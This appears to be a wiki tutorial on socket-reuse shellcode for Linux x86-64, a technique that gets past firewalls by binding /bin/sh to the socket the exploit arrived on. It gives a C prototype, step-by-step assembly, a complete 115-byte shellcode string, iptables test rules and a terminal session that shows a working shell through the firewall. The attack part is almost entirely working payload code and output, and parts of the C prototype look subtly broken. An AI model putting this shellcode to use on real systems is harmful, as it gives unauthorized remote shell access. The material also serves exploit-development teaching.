Shellcode/Socket-reuse
Socket-reuse shellcode is used to bypass firewalls. Usually, shellcode and exploit developers and users provide "bindshell" and "connect-back" shellcodes. Both of these require a permissive firewall to some extent or another. However, because sockets are treated as re-usable or dynamic file descriptors by most operating systems, it is possible to examine existing socket connections, therefore one can simply bind a shell to the socket that the exploit shellcode came from.
By parsing through the open file descriptors in the context of the exploited vulnerability, it is possible to identify the file descriptor for the socket that first received the exploit. This form of re-use can allow attackers to further execute code without the necessity to further circumvent any network level firewall restrictions.
Contents
Firewall bypass via dynamic file descriptor re-use
By default, Linux only allows for the maximum size of an integer in file descriptors. The first three file descriptors, 0, 1, and 2, represent stdin, stdout, and stderr, respectively.
Because it can be helpful for beginners to build a C prototype when writing complex shellcodes, a C prototype for socket-reuse shellcode has been provided below:
#include <stdio.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #define PORT_NO 1025 #define ADDR "127.0.0.1" int main(int argc, const char *argv[]) { int test_getpeername; struct sockaddr_in *s; socklen_t s_len = sizeof(s); struct in_addr *inet_address; inet_pton(AF_INET, ADDR, inet_address); for(int sock_fd=0; sock_fd<65535; sock_fd++){ if(getpeername(sock_fd, (struct sockaddr*) &s, &s_len) != 0) continue; if (s->sin_port != PORT_NO || s->sin_addr.s_addr != ADDR) continue; for (int i=0; i<3; i++) dup2(sock_fd, i); execve("/bin/sh", NULL, NULL); } return 0; } |
Iterating Over File Descriptors
The first thing the C does is iterate over all file descriptors, so the shellcode does the same.
This shellcode begins with an unconditional jump to start, allowing it to call backwards to exit when needed.
jmp start |
The exit function simply calls exit, since %rdi will already have a number in it xoring this to zero was omitted to save three bytes.
exit: push $0x3c pop %rax syscall |
The start function sets the counter for file descriptors to two to skip over stdin, stderr, and stdout:
start: push $0x02 pop %rdi |
Then to initialize the sockaddr struct, a pointer to %rsp - 0x14 is placed into %rdx, and then 0x10 is placed at %rdx's location (0x10 is the length of sockaddr struct, required by getpeername()):
make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) |
Then a pointer to %rdx + 4 (the sockaddr struct) is placed into %rsi:
lea 0x4(%rdx), %rsi # move struct into rsi |
The loop increments %di and jumps to exit if it zeroes out.
%di is the lower order word of %rdi. |
loop: inc %di |
As %di increments it will overflow into %edi once it hits 65536, making %di zero, so when the inc instruction reaches zero, the zero flag is set and it can jump to exit:
jz exit
|
The stack fix resets the stack pointer to point to the struct after each iteration.
stack_fix: lea 0x14(%rdx), %rsp |
getpeername()
To execute getpeername(fd, sockaddr_struct), the shellcode subtracts 0x20 from the stack pointer then pushes the system call number for getpeername (0x34) into %rax.
get_peer_name: sub $0x20, %rsp push $0x34 pop %rax syscall |
After getpeername executes, the test instruction checks to see if it returns 0 (meaning that it executed successfully against a connected socket), and if it does not, it jumps back up to the start of the loop.
check_pn_success: test %al, %al jne loop |
Checking the socket
It then checks the source IP and source port of the socket (if the code has gotten this far, the socket is a connected peer, however it has not yet been determined whether or not this is the proper socket).
First, the indexed reference to the IP is setup by putting 0x1b (the offset to the IP) into %rcx.
; If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %rcx |
The IP address that has been xored with 0xffffffff is then moved into %ebx.
mov $0xfeffff80, %ebx |
This IP is then "not"'d (identical to xor 0xffffff), and converted to the original IP (in this case, 127.0.0.1).
not %ebx |
This decoded value is then compared with the IP address returned by getpeername(), which is located at the offset 0x1b.
cmpl %ebx, (%rsp,%rcx,4) |
If this matches then continue, otherwise jump back to the start of the loop.
jne loop |
Then the port is checked using the same xor and not technique at offset 0x35. If the port is incorrect, the code goes back to the beginning of the loop.
check_port: movb $0x35, %cl mov $0x2dfb, %bx not %ebx cmpw %bx,(%rsp, %rcx ,2) ; (%rbp,%rsi,2) jne loop |
Spawning the shell
Now that the correct file descriptor has been found, dup2() will be used to redirect stdout, stderr, and stdin to the socket.
dup2()
This way, when /bin/sh is executed, the read() and write() functions will use this socket instead of the standard file descriptors.
reuse: push %rax push %rax pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push $0x21 pop %rax syscall inc %esi cmp $0x4, %esi jne dup_loop |
execve()
Finally, execute /bin/sh using the shellcode from earlier in this series:
execve: pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
Testing the code
Once this is assembled and the opcodes are extracted a generator can be written in python that will accept a port and IP address from command-line, then convert them into the correct format for the shellcode. The generator then prints the completed shellcode for later use.
The test program, sender, generator, and full code for the shellcode are available in the downloadable shellcodecs package. The final generated shellcode comes out to 115 bytes.
To demonstrate usage of the shellcode, first load these iptables rules:
iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP iptables -I INPUT 1 --proto tcp --dport 1024 -j ACCEPT iptables -I OUTPUT 1 --proto tcp --sport 1024 -m conntrack --ctstate ESTABLISHED -j ACCEPT |
The rules set all traffic to DROP by default. It then only accepts incoming traffic on port 1024 (the port of the listener) and only allows established outbound traffic on port 1024. Next, compile and run the provided loader:
root@localhost:~|⇒ ls iptables socket-loader socket-loader.c root@localhost:~|⇒ ./iptables root@localhost:~|⇒ gcc -o socket-loader socket-loader.c root@localhost:~|⇒ ./socket-loader 1024
Then generate the code and put it into socket-reuse-send.c and execute it:
{} generators ./socket-reuse-generator.py 172.16.213.1 1025 "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48" "\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb" "\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe" "\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f" "\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b" "\x58\x0f\x05" {} socket-reuse vim socket-reuse-send.c {} socket-reuse gcc -o socket-reuse-send socket-reuse-send.c {} socket-reuse ./socket-reuse-send 172.16.213.132 1024 172.16.213.1 1025 Connecting to 172.16.213.132 Sending payload ls iptables socket-loader socket-loader.c ^C {} socket-reuse
Note that the shellcode worked just like it should even with the extremely restrictive iptables rules.